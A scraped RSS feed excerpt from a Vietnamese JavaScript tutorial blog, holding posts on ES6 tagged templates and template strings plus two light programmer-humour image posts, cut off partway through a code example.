before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>IP man 4 phiên bản lập trình viên</h2> <p><a href="https://vi.wikipedia.org/wiki/Ch%C3%A2n_T%E1%BB%AD_%C4%90an">Châu Tử Đan</a> - Chung Tử Đơn (Donnie Yen): 107.113.70.1</p> <p>Cùng các anh em: 107.113.70.2 - 107.113.70.9.</p> <p>Xin chào và hẹn gặp lại bạn ở bài viết tiếp, thân ái!</p> <h2 id="bài-viết-cùng-chuyên-mục" style="position:relative;"><a href="#b%C3%A0i-vi%E1%BA%BFt-c%C3%B9ng-chuy%C3%AAn-m%E1%BB%A5c" aria-label="bài viết cùng chuyên mục permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài viết cùng chuyên mục</h2> <ul> <li><a href="/anh-che-vui-1-cach-lap-trinh-vien-chay-hang-ngay/">Ảnh chế vui #1: Cách lập trình viên chạy hằng ngày</a></li> <li><a href="/anh-che-vui-2-code-anh-khong-co-bug-tat-ca-chi-la-tinh-nang/">Ảnh chế vui #2: Code anh không có bug, tất cả chỉ là tính năng</a></li> <li><a href="/anh-che-vui-3-how-i-met-javascript-parody/">Ảnh chế vui #3: How I met JavaScript – Parody</a></li> <li><a href="/anh-che-vui-4-people-life-vs-programmer-life/">Ảnh chế vui #4: People life vs Programmer life</a></li> <li><a href="/anh-che-vui-5-specialist-vs-generalist-winner/">Ảnh chế vui #5: Specialist vs Generalist – who is the winner?</a></li> <li><a href="/anh-che-vui-6-type-programmer/">Ảnh chế vui #6: A type of programmer</a></li> </ul>[email protected]<![CDATA[Tagged template ES6 là gì?]]><![CDATA[Trong bài viết về sử dụng ES6 Template String có gì hay, mình đã giới thiệu với bạn về ES6 Template String là gì, cũng như cách dùng và ứng dụng của nó. Tuy nhiên, có một tính năng…]]>https://completejavascript.com/tagged-template-es6-la-gi/https://completejavascript.com/tagged-template-es6-la-gi/<![CDATA[ES6]]><![CDATA[Kiểu dữ liệu]]><![CDATA[String]]>Sun, 28 May 2017 16:00:00 GMT<p>Trong bài viết về <a href="/su-dung-es6-template-string-co-gi-hay/">sử dụng ES6 Template String có gì hay</a>, mình đã giới thiệu với bạn về ES6 Template String là gì, cũng như cách dùng và ứng dụng của nó.</p> <p>Tuy nhiên, có một tính năng mà mình chưa đề cập đến là: <strong>Tagged template</strong>. Sau đây, mình sẽ tìm hiểu xem rốt cuộc Tagged template ES6 là gì và sử dụng Tagged template như thế nào nhé.</p> <h2 id="cơ-bản-về-tagged-template-es6" style="position:relative;"><a href="#c%C6%A1-b%E1%BA%A3n-v%E1%BB%81-tagged-template-es6" aria-label="cơ bản về tagged template es6 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cơ bản về Tagged template ES6</h2> <p>Cú pháp về Tagged template:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">func<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">template string with </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>expression<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span></code></pre></div> <p>Tagged template ES6 cho phép bạn <strong>xử lý template string</strong> với một <a href="/ham-la-gi-ham-trong-javascript/">hàm</a>.</p> <p>Trong đó, <code>func</code> chính là function mà bạn tự định nghĩa. Tiếp sau là một đoạn template string có thể chứa một hoặc nhiều <code>expression</code> (biểu thức).</p> <p>Ở đây, <code>func</code> nhận tham số đầu tiên là <a href="/array-la-gi-array-trong-javascript/">mảng</a> các string (sử dụng trong template string). Các tham số tiếp theo là các biểu thức trong template string.</p> <p>Kết quả trả về của Tagged template là kết quả của hàm <code>func</code>. Đó có thể là bất cứ kiểu dữ liệu nào tùy thích. Chứ không phải luôn luôn là string!</p> <p>Đọc đến đây có thể bạn vẫn chưa hiểu được cách sử dụng của Tagged template ES6. Do đó, mình sẽ tìm hiểu nó qua một ví dụ cụ thể phía dưới.</p> <h2 id="ví-dụ-sử-dụng-tagged-template-es6" style="position:relative;"><a href="#v%C3%AD-d%E1%BB%A5-s%E1%BB%AD-d%E1%BB%A5ng-tagged-template-es6" aria-label="ví dụ sử dụng tagged template es6 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ví dụ sử dụng Tagged template ES6</h2> <p>Xem xét đoạn code sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// func</span> <span class="token keyword">const</span> <span class="token function-variable function">math</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter"><span class="token punctuation">[</span>x<span class="token punctuation">,</span> y<span class="token punctuation">]</span><span class="token punctuation">,</span> op</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">op</span><span class="token punctuation">(</span><span class="token function">Number</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token function">Number</span><span class="token punctuation">(</span>y<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// expression</span> <span class="token keyword">const</span> <span class="token function-variable function">plus</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">x<span class="token punctuation">,</span> y</span><span class="token punctuation">)</span> <span class="token operator">=></span> x <span class="token operator">+</span> y<span class="token punctuation">;</span> <span class="token comment">// tagged template string</span> <span class="token keyword">const</span> result <span class="token operator">=</span> math<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">6 </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>plus<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> 3</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> <span class="token comment">// kết quả</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>result<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 9</span></code></pre></div> <p>Trong đó:</p> <ul> <li><code>func</code> chính là hàm <code>math</code>.</li> <li><code>expression</code> là hàm <code>plus</code>.</li> <li>Template string là <code>6 ${plus} 3</code>.</li> </ul> <p>Đối với hàm <code>math()</code>, tham số đầu tiên là <strong>mảng của các string</strong> được sử dụng trong template string.</p> <p>Do đó, mảng này gồm 2 phần tử là: <code>['6 ', ' 3']</code> (chú ý sự tồn tại của dấu cách trong các string nhé).</p> <p>Tham số tiếp theo của hàm <code>math()</code> chính là hàm <strong>plus()</strong>.</p> <p>Như vậy, bên trong hàm <code>math()</code>:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">x = '6 ' => Number(x) = 6 y = ' 3' => Number(y) = 3 op = plus => op(Number(x), Number(y)) = plus(6, 3) = 9</code></pre></div> <p>Cuối cùng kết quả của biến <code>result</code> bằng <code>9</code>.</p> <p>Có lẽ bạn đã phần nào mường tượng ra cách sử dụng của Tagged template ES6 rồi. Tuy nhiên, mình tiếp tục nghiên cứu thêm một ví dụ nữa để hiểu hơn về nó.</p> <h2 id="ví-dụ-khác-của-tagged-template-es6" style="position:relative;"><a href="#v%C3%AD-d%E1%BB%A5-kh%C3%A1c-c%E1%BB%A7a-tagged-template-es6" aria-label="ví dụ khác của tagged template es6 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ví dụ khác của Tagged template ES6</h2> <p>Giả sử trường hợp template string với expression <strong>ở đầu hoặc/và ở cuối</strong>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// func</span> <span class="token keyword">const</span> <span class="token function-variable function">func</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">arr<span class="token punctuation">,</span> expr1<span class="token punctuation">,</span> expr2</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>arr<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (1)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>expr1<span class="token punctuation">,</span> expr2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (2)</span> <span class="token keyword">return</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token string">"1"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// expression</span> <span class="token keyword">const</span> a <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token keyword">const</span> b <span class="token operator">=</span> <span class="token number">2</span><span class="token punctuation">;</span> <span class="token comment">// tagged template</span> <span class="token keyword">const</span> result <span class="token operator">=</span> func<span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>a<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> and then </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>b<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> <span class="token comment">// kết quả</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>result<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// (3)</span> <span class="token comment">// (1) - mảng các string: ["", " and then ", ""]</span> <span class="token comment">// (2) - các expression: 1 2</span> <span class="token comment">// (3) - kết quả: { x: "1" }</span></code></pre></div> <p>Đây chỉ là một ví dụ để minh họa. Và qua ví dụ này, bạn biết thêm một số vấn đề về tagged template như sau:</p> <ul> <li>Tagged template ES6 sử dụng các expression để phân tách ra mảng các string. Do đó, nếu có expression ở đầu hay cuối thì mảng các string cũng có string rỗng ở đầu và cuối.</li> <li>Nếu có nhiều expression thì chúng sẽ được điền kế tiếp nhau trong hàm, phía sau phần tử đầu tiên, các expression sau cách nhau bởi dấu phẩy.</li> <li>Kết quả trả về của <strong>func</strong> có thể là bất cứ thứ gì. Do đó, kết quả của Tagged template ES6 cũng có thể là bất cứ thứ gì.</li> </ul> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là một số ví dụ cơ bản giúp bạn hiểu về Tagged template ES6.</p> <p>Vậy theo bạn, ứng dụng thực tế của Tagged template ES6 là gì? Chia sẻ quan điểm của bạn trong phần bình luận phía dưới nhé!</p>[email protected]<![CDATA[Ảnh chế vui #6: A type of programmer]]><![CDATA[A type of programmer: There's a type of programmer who's always working late. And before sleeping, he always check his phone until tired. Actually, It's not funny. Don't like that…]]>https://completejavascript.com/anh-che-vui-6-type-programmer/https://completejavascript.com/anh-che-vui-6-type-programmer/<![CDATA[Ảnh chế]]>Sun, 28 May 2017 11:40:41 GMT<p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 56.96969696969697%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACcklEQVQoz2OYfsiwbLp6XIVCSr1yWqNaWoNaTLlMTLlMXKV8SqNi/w79qfsNpuw1mLIPC2KYe9LYLkCMgYGRnZVbiF+Cn0eYl4dPTkaZgYGBX5i1bY329EOGk2GaJ+81mLrPEKF55lH9wGTVqIg4GTlxZRUFOQUZdQ2VxKQ4Dg52YQm27i26806ZbbyUuPSM57pLUWvOh6+/GDfrmPH0w4ZQzb7xytkZJTKy0pISEpKSkkpKSubmZmysnELirNY+Ivp2AuYukkYOwga2QqZO4hZukjpWfO7R4iDNs48buoZL+fuESUqKs7KycHFzqampqaqqMDAwiMmwi0qxMzAwMDIyMDKwSIrJhwZH+3n4MjAwyKlzT94L8bO/CAMDAxMTAzMzKxsrJwcHFy8vHwMDg6gUh4AYqxAXZ5ibraWZiYeHe2tzU1pcKAMDg4oeH8hmcGirxZYp5raYJ9eq5jZbZDWaZTeaJ1QpZ7Yr2Llquto6TC5LXzdn0v4Dh9avXRvkYW+uq+Ptpzl1vyHD5L36U4/ozj9jtuZSwOKzduuuBK+9ErjucvD805YLzhm5+2hrKmv5e3s01dZ0dnRkJkbrKkupKarbOqtM3qvPMGuf2dqDATN2m/Xv1p6022DCLu2Ju3Um7NKZuEt/2kEDj0B1NRU5eQVhXT0lO1t9LRVhFQU+JQVJWw/FKXv1GRYcsD92qnj5Ye+Fx72XHPdfdNxn4TGPBcc8Zh20nrxPv3uTftcG/e4NBu1rdXo2GXVtMOhYq9uxVrd7kx7Iz1P26k/brQ9OQ4ZTwWgKFIGSwbSDBtMPGUw7ZDD9kOG0gxCuIYQN1AwAv4/nWwY5D/cAAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="A type of programmer at completejavascript.com" title="A type of programmer at completejavascript.com" src="/static/c488a5a4e0feea00e88fb111b6bbfd07/7c811/a-type-of-programmer-completejavascript.com_.png" srcset="/static/c488a5a4e0feea00e88fb111b6bbfd07/103f2/a-type-of-programmer-completejavascript.com_.png 165w, /static/c488a5a4e0feea00e88fb111b6bbfd07/748ba/a-type-of-programmer-completejavascript.com_.png 330w, /static/c488a5a4e0feea00e88fb111b6bbfd07/7c811/a-type-of-programmer-completejavascript.com_.png 660w, /static/c488a5a4e0feea00e88fb111b6bbfd07/a27c6/a-type-of-programmer-completejavascript.com_.png 700w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h2 id="a-type-of-programmer" style="position:relative;"><a href="#a-type-of-programmer" aria-label="a type of programmer permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>A type of programmer:</h2> <p>There's a type of <a href="/anh-che-vui-4-people-life-vs-programmer-life/">programmer</a> who's always working late. And before sleeping, he always check his phone until tired.</p> <p>Actually, It's not <a href="/tag/anh-che/">funny</a>. Don't like that, just:</p> <blockquote> <p>Sleep earlier, code better.</p> </blockquote> <p>See you in the next post, thank you,</p> <h2 id="similar-posts" style="position:relative;"><a href="#similar-posts" aria-label="similar posts permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Similar posts</h2> <ul> <li><a href="/anh-che-vui-1-cach-lap-trinh-vien-chay-hang-ngay/">Ảnh chế vui #1: Cách lập trình viên chạy hằng ngày</a></li> <li><a href="/anh-che-vui-2-code-anh-khong-co-bug-tat-ca-chi-la-tinh-nang/">Ảnh chế vui #2: Code anh không có bug, tất cả chỉ là tính năng</a></li> <li><a href="/anh-che-vui-3-how-i-met-javascript-parody/">Ảnh chế vui #3: How I met JavaScript – Parody</a></li> <li><a href="/anh-che-vui-4-people-life-vs-programmer-life/">Ảnh chế vui #4: People life vs Programmer life</a></li> <li><a href="/anh-che-vui-5-specialist-vs-generalist-winner/">Ảnh chế vui #5: Specialist vs Generalist – who is the winner?</a></li> <li><a href="/anh-che-vui-7-ip-man-4-phien-ban-lap-trinh-vien/">Ảnh chế vui #7: IP man 4 phiên bản lập trình viên</a></li> </ul>[email protected]<![CDATA[Sử dụng ES6 Template String có gì hay?]]><![CDATA[Có thể bạn thừa biết, phiên bản ES6 của JavaScript đã giới thiệu rất nhiều những tính năng hay hấp dẫn của ngôn ngữ lập trình này. Một trong số đó là Template literals hay Template…]]>https://completejavascript.com/su-dung-es6-template-string-co-gi-hay/https://completejavascript.com/su-dung-es6-template-string-co-gi-hay/<![CDATA[ES6]]><![CDATA[Kiểu dữ liệu]]><![CDATA[String]]>Sat, 27 May 2017 08:00:00 GMT<p>Có thể bạn thừa biết, phiên bản ES6 của JavaScript đã giới thiệu rất nhiều những <a href="https://webapplog.com/es6/">tính năng hay hấp dẫn</a> của ngôn ngữ lập trình này. Một trong số đó là <strong>Template literals</strong> hay <strong>Template String</strong>. Nếu vậy thì sử dụng ES6 Template String có gì hay hơn so với string thông thường? Sau đây, mình và bạn sẽ cùng nhau tìm hiểu.</p> <h2 id="es6-template-string-là-gì" style="position:relative;"><a href="#es6-template-string-l%C3%A0-g%C3%AC" aria-label="es6 template string là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>ES6 Template String là gì?</h2> <p>ES6 Template String tạm gọi là một cú pháp, cho phép bạn viết biểu thức ngay bên trong <a href="/kieu-du-lieu-trong-javascript/">string</a>. Trong đó, thay vì sử dụng cặp dấu nháy đơn <code>''</code> hay nháy kép <code>""</code>, bạn sử dụng cặp dấu <strong>backtick</strong> hay <strong>backqoute</strong>, để biểu diễn string.</p> <p>Ví dụ biểu diễn string sử dụng dấu backtick:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">string</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span></code></pre></div> <p>Khi đó, biểu thức bên trong template string sẽ được biểu diễn với cú pháp: <code>${expression}</code>, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> name <span class="token operator">=</span> <span class="token string">"Lam Pham"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> greeting <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">I'm </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>greeting<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// I'm Lam Pham</span></code></pre></div> <p>Ở ví dụ này, biến <code>name</code> biểu diễn string thông thường và biến <code>greeting</code> biểu diễn template string.</p> <p>Đến đây có lẽ bạn đã mường tượng ra cách sử dụng của Template String rồi và đang tự hỏi: <strong>vậy thì template string có ưu điểm gì hơn so với việc sử dụng string thông thường không?</strong></p> <h2 id="những-ưu-điểm-nổi-bật-của-es6-template-string" style="position:relative;"><a href="#nh%E1%BB%AFng-%C6%B0u-%C4%91i%E1%BB%83m-n%E1%BB%95i-b%E1%BA%ADt-c%E1%BB%A7a-es6-template-string" aria-label="những ưu điểm nổi bật của es6 template string permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Những ưu điểm nổi bật của ES6 Template String</h2> <h3 id="ghép-nối-string" style="position:relative;"><a href="#gh%C3%A9p-n%E1%BB%91i-string" aria-label="ghép nối string permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ghép nối string</h3> <p>Thông thường để ghép nối string trong JavaScript bạn có thể sử dụng phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/concat"><code>concat</code></a> hoặc toán tử <code>+</code>.</p> <p><strong>Ví dụ sử dụng phương thức <code>concat</code>:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> intro <span class="token operator">=</span> <span class="token string">"Hello everyone, I'm"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> firstName <span class="token operator">=</span> <span class="token string">"Lam"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> lastName <span class="token operator">=</span> <span class="token string">"Pham"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> full1 <span class="token operator">=</span> intro<span class="token punctuation">.</span><span class="token function">concat</span><span class="token punctuation">(</span><span class="token string">" "</span><span class="token punctuation">,</span> firstName<span class="token punctuation">,</span> <span class="token string">" "</span><span class="token punctuation">,</span> lastName<span class="token punctuation">,</span> <span class="token string">"."</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>full1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello everyone, I'm Lam Pham.</span></code></pre></div> <p><strong>Ví dụ sử dụng toán tử <code>+</code>:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> intro <span class="token operator">=</span> <span class="token string">"Hello everyone, I'm"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> firstName <span class="token operator">=</span> <span class="token string">"Lam"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> lastName <span class="token operator">=</span> <span class="token string">"Pham"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> full2 <span class="token operator">=</span> intro <span class="token operator">+</span> <span class="token string">" "</span> <span class="token operator">+</span> firstName <span class="token operator">+</span> <span class="token string">" "</span> <span class="token operator">+</span> lastName <span class="token operator">+</span> <span class="token string">"."</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>full2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello everyone, I'm Lam Pham.</span></code></pre></div> <p>Cả hai cách trên đều cho ra kết quả như mong muốn. Tuy nhiên, cách viết lại không trực quan và đôi khi còn khó theo dõi.</p> <p>Trong khi đó, nếu sử dụng ES6 Template String thì bạn sẽ thấy cách viết <strong>gọn gàng, dễ nhìn và đẹp hơn nhiều</strong>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> intro <span class="token operator">=</span> <span class="token string">"Hello everyone, I'm"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> firstName <span class="token operator">=</span> <span class="token string">"Lam"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> lastName <span class="token operator">=</span> <span class="token string">"Pham"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> full3 <span class="token operator">=</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>intro<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>firstName<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>lastName<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">.</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>full3<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello everyone, I'm Lam 